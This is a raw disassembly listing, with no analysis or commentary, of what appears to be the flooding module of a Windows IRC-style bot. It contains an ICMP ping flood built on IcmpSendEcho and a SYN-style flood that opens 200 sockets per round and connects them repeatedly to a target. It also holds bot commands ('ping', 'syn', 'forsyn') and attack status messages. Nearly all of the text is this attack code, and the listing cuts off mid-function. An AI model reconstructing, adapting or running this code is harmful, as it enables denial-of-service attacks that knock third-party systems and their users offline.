dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9C4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A04 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4277B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427928 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427928: ; CODE XREF: ___:0042791Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_427958 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427958: ; CODE XREF: sub_427940+Dj mov eax, esi pop esi retn 4 sub_427940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427970 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_427970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427990 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427990 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_427A54 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_427A6E ; --------------------------------------------------------------------------- loc_427A54: ; CODE XREF: sub_427990+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_427A6E: ; CODE XREF: sub_427990+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427990 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B10 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 2800886h mov esi, eax test esi, esi jz short loc_427B7A mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51011C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510120, eax call edi mov ecx, dword_51011C mov dword_510118, eax test ecx, ecx jz short loc_427B7A mov edx, dword_510120 test edx, edx jz short loc_427B7A test eax, eax jz short loc_427B7A mov al, [esp+0Bh] test al, al jz short loc_427B85 loc_427B7A: ; CODE XREF: sub_427B10+1Bj ; sub_427B10+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B10+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427B9C mov [esp+24h+arg_FFE8], eax loc_427B9C: ; CODE XREF: sub_427B10+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427BAF mov ebp, 1 loc_427BAF: ; CODE XREF: sub_427B10+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427BF4 loc_427BC0: ; CODE XREF: sub_427B10+E2j mov al, byte_4D84B9 test al, al jz short loc_427BF4 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510118 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427BC0 loc_427BF4: ; CODE XREF: sub_427B10+AEj ; sub_427B10+B7j push edi call dword_510120 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427B10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C50 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427C50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D8F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86EF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D1Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510128 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510328 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 27B0000h test eax, eax mov dword_51032C, eax jz short loc_427E8B push offset dword_448F34 push 5 push eax push 0 push offset dword_510128 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D1Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84B9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax call near ptr 71AB406Ah nop add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx nop call near ptr 28502B8h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx call near ptr 71AB9639h nop add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push 